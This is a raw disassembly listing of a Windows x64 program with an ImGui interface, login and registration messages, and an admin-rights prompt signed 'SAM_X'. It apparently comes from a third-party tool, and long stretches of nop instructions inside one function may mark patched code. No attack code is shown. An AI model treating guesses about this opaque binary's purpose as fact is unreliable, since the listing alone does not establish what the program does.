movss dword [0x14016aa28], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x14016aa28]
xorps xmm1, xmm1
mov eax, eax
addss xmm0, xmm6
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x14005982a
cmp byte [reloc.WS2_32.dll_accept], r12b
movss xmm1, dword [0x1401666bc]
je 0x1400597e6
comiss xmm13, xmm1
jbe 0x1400597d7
call fcn.1400085d0
movss xmm1, dword [0x1401666bc]
movaps xmm0, xmm14
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm12
addss xmm1, xmm0
movss dword [0x1401666bc], xmm1
comiss xmm1, xmm13
jb 0x140059823
mov byte [reloc.WS2_32.dll_accept], r12b
jmp 0x140059823
comiss xmm1, xmm10
jbe 0x140059816
call fcn.1400085d0
movss xmm1, dword [0x1401666bc]
movaps xmm0, xmm14
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm12
subss xmm1, xmm0
movss dword [0x1401666bc], xmm1
comiss xmm10, xmm1
jb 0x140059823
mov byte [reloc.WS2_32.dll_accept], r13b
mov dword [0x14016aa28], r12d
mov rcx, qword [0x14016be68]
mov rdi, qword [0x140145120]
mov rbx, rcx
mov qword [rsp + 0x60], rcx
test rcx, rcx
jne 0x140059881
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x140059879
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], r12d
jg 0x140059872
mov r8d, 0x6fc
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rsp + 0x60], rcx
mov rbx, rcx
call fcn.140012340
lea rcx, [rdi + 0x4838]
lea rdx, [rsp + 0x60]
call fcn.14001f6f0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ed0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x290]
call fcn.140028dd0
movdqa xmm0, xmmword [0x1400e7b00]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
call fcn.1400041f0
movss xmm9, dword [rsp + 0x70]
lea rcx, str.SAM_X
movss xmm0, dword [0x1400e7560]
lea rdx, [rbp]
movss xmm3, dword [0x1400e754c]
movaps xmm7, xmm9
addss xmm7, xmm8
mov qword [rsp + 0x30], r12
movss xmm8, dword [rsp + 0x74]
addss xmm9, xmm10
movaps xmm6, xmm8
mov qword [rsp + 0x28], rcx
subss xmm6, dword [0x1400e74bc]
addss xmm8, dword [0x1400e74e8]
mov edi, eax
movss dword [rsp + 0x20], xmm0
mov rax, qword [0x140145120]
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.140034b40
movss xmm0, dword [rbp]
subss xmm7, xmm9
subss xmm6, xmm8
addss xmm0, dword [0x1400e740c]
mulss xmm7, xmm15
mulss xmm6, xmm15
addss xmm9, xmm7
cvttss2si eax, xmm0
movss xmm0, dword [rbp + 4]
addss xmm8, xmm6
mulss xmm0, xmm15
movd xmm1, eax
subss xmm8, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0xcc], xmm8
movss dword [rbp], xmm1
mulss xmm1, xmm15
subss xmm9, xmm1
movss dword [rbp + 0xc8], xmm9
test edi, 0xff000000
je 0x140059a3f
mov rax, qword [rsi + 0x38]
mov rbx, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rsi + 0x98]
mov rcx, qword [rbx + 0x40]
cmp qword [rcx + 8], rax
je 0x1400599ec
mov r8d, 0x64d
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rsi + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x1400e6229]
movss dword [rsp + 0x40], xmm10
lea r9, [rbp + 0xc8]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.SAM_X
mov rdx, rsi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x60], xmm0
call fcn.140034d60
call fcn.140012470
movss xmm3, dword [rsp + 0x70]
lea rcx, [0x140143b28]
movss xmm2, dword [rsp + 0x74]
movaps xmm0, xmm3
movss xmm8, dword [0x1400e7514]
addss xmm3, xmm10
movaps xmm1, xmm2
addss xmm0, xmm8
addss xmm1, dword [0x1400e74cc]
addss xmm2, xmm12
movss dword [rbp + 0xd8], xmm3
movss dword [rbp + 0xd0], xmm0
movss dword [rbp + 0xd4], xmm1
movss dword [rbp + 0xdc], xmm2
call fcn.1400041f0
mov r9d, eax
mov dword [rsp + 0x28], r12d
lea rdx, [rbp + 0xd8]
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0xd0]
mov rcx, rsi
call fcn.14002b620
mov rcx, qword [0x140145120]
lea rdx, str.Inputs
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm12
addss xmm1, dword [0x1400e74ec]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0xe0], 0x43960000
mov dword [rbp + 0xe4], 0x438c0000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007b50
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xe0]
lea rcx, str.Inputs
call fcn.14000be00
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x30], r12
lea rbx, [0x1401451e0]
mov dword [rsp + 0x28], r12d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
je 0x14005a147
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
je 0x14005a091
mov edx, 0x20001
lea rcx, str.C:Windows0704.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
cmp qword [0x140166610], 0xf
lea rdx, [0x1401665f8]
movups xmm6, xmmword [0x140143bb8]
cmova rdx, qword [0x1401665f8]
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
mov dword [0x14016aa40], r13d
movups xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], r12
inc r8
cmp byte [rdx + r8], r12b
jne 0x140059d75
lea rcx, [rbp + 0x530]
call fcn.140046f70
movzx eax, byte [0x1400e7308]
lea r9, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rbp + 0x300], 9
movups xmmword [rbp + 0x2f0], xmm0
lea r8, [rbp + 0x530]
mov qword [rbp + 0x308], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.SAM_X_TER]
lea rdx, [rbp + 0x2f0]
movsd qword [rbp + 0x2f0], xmm0
mov byte [rbp + 0x2f8], al
mov byte [rbp + 0x2f9], r12b
movdqa xmmword [rsp + 0x60], xmm6
call fcn.14004b380
lea rcx, [rbp + 0x170]
call fcn.1400549f0
lea rax, [0x1400e5474]
lea rcx, [rbp + 0x678]
mov qword [rbp + 0x5f0], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0x5f8]
xor r8d, r8d
lea rcx, [rbp + 0x5f0]
or r15d, r13d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x5f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x5ec], edx
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x660], r12
lea rdx, str.Loged_in_C___n_n
mov qword [rbp + 0x5f8], rax
lea rcx, [rbp + 0x5f0]
mov dword [rbp + 0x668], 4
call fcn.14005e690
cmp qword [rbp + 0x188], 0xf
lea rdx, [rbp + 0x170]
mov r8, qword [rbp + 0x180]
mov rcx, rax
cmova rdx, qword [rbp + 0x170]
call fcn.14005fc00
mov ecx, dword [rbp + 0x668]
xorps xmm0, xmm0
mov eax, ecx
mov qword [rbp + 0x430], r12
and al, 0x22
mov qword [rbp + 0x438], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x420], xmm0
mov byte [rbp + 0x420], r12b
movups xmmword [rbp + 0x480], xmm0
cmp al, 2
je 0x140059f58
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x140059f52
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbase_void_const___ptr64]
lea rcx, [rbp + 0x5f8]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, qword [rbp + 0x660]
lea rcx, [rbp + 0x5f8]
mov rbx, rax
cmovb rbx, qword [rbp + 0x660]
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
jmp 0x140059fa2
mov ecx, dword [rbp + 0x668]
test cl, 4
jne 0x140059f94
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
test rax, rax
je 0x140059f94
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rbp + 0x5f8]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::egptr_void_const___ptr64]
mov rbx, rax
sub rbx, rdi
jmp 0x140059fa2
mov rbx, qword [rbp + 0x488]
mov rdi, qword [rbp + 0x480]
test rdi, rdi
je 0x140059fb9
mov r8, rbx
lea rcx, [rbp + 0x420]
mov rdx, rdi
call fcn.14005e070
lea rdx, [rbp + 0x420]
lea rcx, [0x1401663c0]
call fcn.14006f3e0
mov rax, qword [rbp + 0x5f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x5ec], edx
lea rcx, [rbp + 0x5f8]
call fcn.14005ca30
lea rcx, [rbp + 0x600]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x678]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x14005a065
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a060
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a44e
call fcn.1400c51dc
mov qword [rbp + 0x180], r12
lea rbx, [0x1401451e0]
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
lea rdi, [0x1401451a0]
mov byte [rbp + 0x170], r12b
jmp 0x14005a147
cmp qword [0x140166610], 0xf
lea rdx, [0x1401665f8]
movups xmm6, xmmword [0x140143bb8]
cmova rdx, qword [0x1401665f8]
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x560], r12
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x568], r12
nop
inc r8
cmp byte [rdx + r8], r12b
jne 0x14005a0d0
lea rcx, [rbp + 0x550]
call fcn.140046f70
movzx eax, byte [0x1400e6398]
lea r9, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rbp + 0x320], 9
movups xmmword [rbp + 0x310], xmm0
lea r8, [rbp + 0x550]
mov qword [rbp + 0x328], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400e6390]
lea rdx, [rbp + 0x310]
movsd qword [rbp + 0x310], xmm0
mov byte [rbp + 0x318], al
mov byte [rbp + 0x319], r12b
movdqa xmmword [rsp + 0x60], xmm6
call fcn.14004b380
lea rdx, [rbp + 0x108]
mov dword [rbp + 0x108], 0x437a0000
lea rcx, str.Register
mov dword [rbp + 0x10c], 0x42480000
call fcn.140038a20
test al, al
je 0x14005a3a5
xorps xmm0, xmm0
mov qword [rbp + 0x580], r12
movups xmmword [rbp + 0x570], xmm0
mov qword [rbp + 0x588], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], r12b
jne 0x14005a195
mov rdx, rsi
lea rcx, [rbp + 0x570]
call fcn.140046f70
xorps xmm0, xmm0
mov qword [rbp + 0x5a0], r12
movups xmmword [rbp + 0x590], xmm0
mov qword [rbp + 0x5a8], r12
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdi + r8], r12b
jne 0x14005a1d0
mov rdx, rdi
lea rcx, [rbp + 0x590]
call fcn.140046f70
xorps xmm0, xmm0
mov qword [rbp + 0x5c0], r12
movups xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c8], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], r12b
jne 0x14005a207
mov rdx, rbx
lea rcx, [rbp + 0x5b0]
call fcn.140046f70
lea r9, [rbp + 0x570]
lea r8, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea rcx, [0x1401663c0]
call fcn.140072260
cmp byte [0x1401665f0], r12b
je 0x14005a357
mov edx, 0x20001
lea rcx, str.C:Windows0704.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
cmp qword [0x140166610], 0xf
lea rdx, [0x1401665f8]
movups xmm6, xmmword [0x140143bb8]
cmova rdx, qword [0x1401665f8]
lea rcx, [rbp + 0x8c0]
call fcn.1400473b0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x14005a290
lea rcx, [rbp + 0x8c0]
call fcn.140046f70
lea rdx, str.SAM_X_TER
lea rcx, [rbp + 0xb18]
call fcn.140046890
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
lea r8, [rbp + 0x8c0]
mov rdx, rax
call fcn.14004b380
lea rcx, [rbp + 0x8e0]
mov dword [0x14016aa40], r13d
call fcn.1400549f0
lea rcx, [rbp + 0xba0]
call fcn.14005cbd0
lea rdx, str.USER_IS_REGESTER___n_n
lea rcx, [rbp + 0xba0]
call fcn.14005e690
mov rcx, rax
lea rdx, [rbp + 0x8e0]
call fcn.14005f060
lea rdx, [rbp + 0xb38]
lea rcx, [rbp + 0xba0]
call fcn.14005cb20
mov rdx, rax
lea rcx, [0x1401663c0]
call fcn.14006f3e0
lea rcx, [rbp + 0xba0]
call fcn.14005c440
lea rcx, [rbp + 0x8e0]
call fcn.1400467a0
call fcn.14000c160
jmp 0x140059182
movups xmm6, xmmword [0x140143bb8]
lea rcx, [0x1401665f8]
call fcn.140046790
mov rdx, rax
lea rcx, [rbp + 0xb58]
call fcn.140046890
lea rdx, [0x1400e6390]
mov rbx, rax
lea rcx, [rbp + 0xb78]
call fcn.140046890
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004b380
call fcn.14000c160
jmp 0x140059182
call fcn.140048f40
call fcn.140049230
call fcn.1400066a0
call fcn.14004f470
mov rcx, qword [0x140145230]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x140055474
mov ecx, 6
mov dword [rbp + 0x168], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x18], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x128], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x138], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x148], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14004f470
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x140055471
mov ecx, r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x158], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor r9d, r9d
lea rdx, str.Run_the_program_as_admin_By_SAM_X_tre__
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14004b280
int3
call fcn.140054c90
int3
call fcn.140002cf0
int3